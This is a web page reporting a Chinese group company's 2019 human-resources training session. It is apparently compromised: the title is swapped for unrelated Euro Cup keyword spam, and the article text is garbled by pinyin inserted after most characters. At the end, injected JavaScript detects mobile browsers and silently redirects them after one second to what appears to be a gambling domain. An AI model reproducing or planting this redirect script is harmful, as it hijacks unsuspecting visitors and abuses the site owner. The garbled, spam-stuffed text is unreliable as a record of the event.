欧洲杯赛程表

四川欧洲杯赛程表

Copyright Lanyan Group All Rights

齐聚一堂共成长,工作部署明方向——记2019年人力资源管理培训

分享到(dao):

  为了(le)规(gui)范、强化欧洲杯赛程表人(ren)力(li)资(zi)源(yuan)管理,进一步提(ti)升(sheng)集团(tuan)人(ren)力(li)资(zi)源(yuan)管理从业(ye)人(ren)员、分管领导业(ye)务能力(li),根据年度人(ren)力(li)资(zi)源(yuan)管理总(zong)体(ti)工作(zuo)部(bu)署,5月31日(ri),集团(tuan)人(ren)力(li)资(zi)源(yuan)部(bu)组织了(le)“人(ren)力(li)资(zi)源(yuan)管理全系(xi)统”培(pei)训(xun)。本次培(pei)训(xun)共(gong)有(you)来(lai)自集团(tuan)近20个分子公司(si)共(gong)30余人(ren)参加(贵州、广东等(deng)外地公司(si)通(tong)过(guo)远程视频会议也参加了(le)培(pei)训(xun)),并(bing)特(te)别邀请到集团(tuan)总(zong)裁助理周(zhou)婷(ting)到场指导。由(you)集团(tuan)行政人(ren)事(shi)部(bu)经理兼(jian)仁和(he)地产(chan)副(fu)总(zong)裁辜夕伟和(he)集团(tuan)人(ren)事(shi)副(fu)经理兼(jian)仁和(he)地产(chan)人(ren)事(shi)负责人(ren)费芳(fang)主讲(jiang),通(tong)过(guo)理论、案例相结(jie)合,深入浅出(chu)的(de)对人(ren)力(li)资(zi)源(yuan)全系(xi)统进行了(le)全面(mian)的(de)讲(jiang)解,培(pei)训(xun)满意度达96.8%,取得了(le)很好的(de)效果。

  在(zai)(zai)正式培(pei)训(xun)(xun)前(qian),举行了(le)(le)开班(ban)仪(yi)式,在(zai)(zai)开班(ban)仪(yi)式上辜(gu)总详细介(jie)绍了(le)(le)本次(ci)(ci)培(pei)训(xun)(xun)开设的初衷及目的,希(xi)望(wang)大家通过(guo)这次(ci)(ci)培(pei)训(xun)(xun)能有所收(shou)获,有所提(ti)(ti)升,有所思(si)考(kao),大家今后多学习、多沟(gou)通、多交(jiao)流(liu)。随后集团总裁助理周婷对(dui)培(pei)训(xun)(xun)工作提(ti)(ti)出了(le)(le)要求和希(xi)望(wang),要求所有参训(xun)(xun)人员认(ren)真(zhen)学习,积极思(si)考(kao),希(xi)望(wang)各位(wei)同事能在(zai)(zai)此次(ci)(ci)培(pei)训(xun)(xun)中获取(qu)有用的知识(shi)从而(er)提(ti)(ti)升自己综(zong)合素质及业(ye)务技能。

{8230017E-4B60-4B18-941E-B229EA310216}

  开(kai)班仪式完(wan)成后即转入正式培(pei)训(xun)(xun)环节,本次(ci)培(pei)训(xun)(xun)主(zhu)要(yao)针对人力资(zi)源管理中的(de)六大模块(kuai):人力资(zi)源规划、招(zhao)聘与配(pei)置、培(pei)训(xun)(xun)与开(kai)发、薪酬福利(li)、绩(ji)效考核、劳动关系(xi)管理进行介绍讲(jiang)解(jie)。首先辜(gu)总开(kai)始讲(jiang)解(jie)“人力资(zi)源规划”模块(kuai),并从自(zi)身(shen)工作经历出发为(wei)大家(jia)(jia)传(chuan)授经验,深入浅出,让(rang)同(tong)事们能(neng)更好的(de)理解(jie)运用。随后,费芳继续为(wei)大家(jia)(jia)讲(jiang)解(jie)“招(zhao)聘与配(pei)置”和“培(pei)训(xun)(xun)与开(kai)发”两个模块(kuai),通(tong)过讲(jiang)述、对比不同(tong)招(zhao)聘方式的(de)优缺点(dian)以及公(gong)司建(jian)立(li)培(pei)训(xun)(xun)制(zhi)度的(de)意(yi)义,使大家(jia)(jia)更加(jia)清楚人才(cai)与公(gong)司是互利(li)共(gong)生的(de),只有(you)员工与公(gong)司互促互进,才(cai)能(neng)共(gong)同(tong)成长。

  不(bu)觉时间过了一个半小时,短暂(zan)的(de)(de)休(xiu)息过后,辜总继续为大家讲解“薪(xin)(xin)酬与(yu)福利”、“绩(ji)效考核”和“劳动(dong)合同(tong)(tong)关系”三个模(mo)块。让(rang)大家认识到建立(li)完善的(de)(de)薪(xin)(xin)酬福利制度与(yu)绩(ji)效考核制度,对公司与(yu)员工(gong)自身(shen)发展起着积极(ji)的(de)(de)意义,使公司在同(tong)(tong)类行(xing)业(ye)中拥有更强的(de)(de)竞争优(you)势。同(tong)(tong)时,健全的(de)(de)劳动(dong)合同(tong)(tong)管理不(bu)仅能保(bao)障职工(gong)的(de)(de)合法权益(yi),也能让(rang)公司规避(bi)不(bu)必要的(de)(de)劳动(dong)纠纷。

{473ADEF3-858E-4515-93CE-3C59ED17CB9D}  培(pei)训很快接近了尾声,大家也积极的(de)(de)(de)提(ti)出(chu)一(yi)些问(wen)题进(jin)行交流(liu)。培(pei)训结束后(hou),辜总(zong)就(jiu)2019年重点人(ren)力(li)资(zi)源工(gong)作(zuo)(zuo)进(jin)行部署安排,要(yao)求各(ge)公(gong)司要(yao)紧(jin)紧(jin)围绕年初董事长(zhang)提(ti)出(chu)的(de)(de)(de)“老中青,传帮(bang)带(dai)”这(zhei)一(yi)方(fang)针开展(zhan)工(gong)作(zuo)(zuo),建(jian)(jian)(jian)立完(wan)善人(ren)力(li)资(zi)源管理(li)制(zhi)度(du);建(jian)(jian)(jian)立培(pei)训机制(zhi),强化(hua)员(yuan)工(gong)培(pei)训,提(ti)升(sheng)员(yuan)工(gong)素质;建(jian)(jian)(jian)立完(wan)善考核(he)机制(zhi);梳(shu)理(li)员(yuan)工(gong)职业生(sheng)涯规划(hua),建(jian)(jian)(jian)立人(ren)才梯(ti)队机制(zhi);完(wan)善重点人(ren)才流(liu)动(dong)与(yu)引进(jin)制(zhi)度(du)。最(zui)后(hou)周总(zong)还深(shen)入分(fen)析(xi)了目前各(ge)分(fen)公(gong)司存在(zai)的(de)(de)(de)问(wen)题和不足,对(dui)此次(ci)培(pei)训进(jin)行了全面(mian)总(zong)结,对(dui)各(ge)分(fen)子公(gong)司提(ti)出(chu)了更高(gao)的(de)(de)(de)工(gong)作(zuo)(zuo)要(yao)求。相信大家通过此次(ci)的(de)(de)(de)学习,在(zai)今后(hou)的(de)(de)(de)工(gong)作(zuo)(zuo)中会(hui)继续提(ti)升(sheng)自己的(de)(de)(de)工(gong)作(zuo)(zuo)能力(li)和专业素养,并运用自己的(de)(de)(de)专业技能为公(gong)司的(de)(de)(de)发展(zhan)添砖加(jia)瓦(wa)。

{0A894DFC-2594-4AF8-8EBA-C39D5B49D876}  在此,感谢(xie)(xie)(xie)公(gong)司(si)领导对(dui)此次(ci)(ci)培训(xun)的大力支持(chi),感谢(xie)(xie)(xie)两位讲师(shi)的辛勤付出(chu),感谢(xie)(xie)(xie)各分子公(gong)司(si)同事的积极(ji)参与,同时更(geng)要(yao)感谢(xie)(xie)(xie)积极(ji)为这次(ci)(ci)培训(xun)默默付出(chu)的工作人员。谢(xie)(xie)(xie)谢(xie)(xie)(xie)!有(you)你们(men)的支持(chi)、参与、付出(chu)才(cai)能(neng)为这次(ci)(ci)培训(xun)画上圆(yuan)满(man)的句号。

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();